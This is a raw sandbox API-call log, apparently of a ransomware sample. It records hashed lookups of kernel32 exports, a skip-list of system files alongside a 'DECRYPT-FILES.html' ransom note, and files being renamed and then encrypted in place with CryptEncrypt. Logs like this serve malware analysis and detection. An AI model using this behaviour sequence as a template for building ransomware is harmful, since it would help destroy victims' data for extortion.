[0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0125.584] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0125.584] lstrlenA (lpString="CREATEFILE2") returned 11 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0125.584] lstrlenA (lpString="CREATEFILEA") returned 11 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0125.584] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0125.584] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0125.584] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0125.584] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0125.584] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0125.584] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0125.584] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0125.585] lstrlenA (lpString="CREATEFILEW") returned 11 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0125.585] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0125.585] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0125.585] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0125.585] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0125.585] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0125.585] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0125.585] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0125.585] lstrlenA (lpString="CREATEJOBSET") returned 12 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0125.585] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0125.585] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0125.585] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0125.585] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0125.585] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0125.585] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0125.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0125.585] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0125.586] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0125.586] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0125.586] lstrlenA (lpString="CREATEPIPE") returned 10 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0125.586] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0125.586] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0125.586] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0125.586] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0125.586] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0125.586] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0125.586] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0125.586] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0125.586] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0125.586] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0125.586] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0125.586] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0125.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0125.587] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0125.587] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0125.587] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0125.587] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0125.587] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0125.587] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0125.587] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0125.587] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0125.587] lstrlenA (lpString="CREATETHREAD") returned 12 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0125.587] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0125.587] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0125.587] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0125.587] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0125.587] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0125.587] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0125.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0125.587] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0125.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0125.588] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.9OTru") returned 50 [0125.588] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.9OTru" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.9otru"), dwFlags=0x0) returned 1 [0125.589] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.589] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.590] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.590] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0125.590] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0125.590] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0125.590] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0125.590] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0125.590] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0125.590] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0125.590] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0125.590] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0125.591] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0125.591] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0125.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\") returned 27 [0125.591] lstrlenW (lpString="SetupResources.dll") returned 18 [0125.591] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1038\\" | out: lpString1="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0125.591] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" [0125.591] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0125.591] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0125.598] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18776) returned 1 [0125.598] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0125.598] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0125.711] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0125.711] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0125.711] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0125.712] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0125.712] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0125.713] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.713] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0125.713] CloseHandle (hObject=0x5f8) returned 1 [0125.713] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.713] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0125.714] CloseHandle (hObject=0x0) returned 0 [0125.714] CloseHandle (hObject=0x5f4) returned 1 [0125.719] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.720] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.720] GetTickCount () returned 0x34d46 [0125.720] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0125.721] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0125.721] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0125.721] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0125.721] lstrlenA (lpString="kernel32.dll") returned 12 [0125.722] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0125.722] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0125.722] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0125.722] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0125.722] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0125.722] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0125.722] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0125.722] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0125.722] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0125.722] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0125.722] lstrlenA (lpString="ADDATOMA") returned 8 [0125.722] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0125.722] lstrlenA (lpString="ADDATOMW") returned 8 [0125.722] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0125.722] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0125.722] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0125.722] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0125.722] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0125.722] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0125.722] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0125.723] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0125.723] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0125.723] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0125.723] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0125.723] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0125.723] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0125.723] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0125.723] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0125.723] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0125.723] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0125.723] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0125.723] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0125.723] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0125.723] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0125.723] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0125.723] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0125.723] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0125.724] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0125.724] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0125.724] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0125.724] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0125.724] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0125.724] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0125.724] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0125.724] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0125.724] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0125.724] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0125.724] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0125.724] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0125.724] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0125.724] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0125.724] lstrlenA (lpString="BACKUPREAD") returned 10 [0125.724] 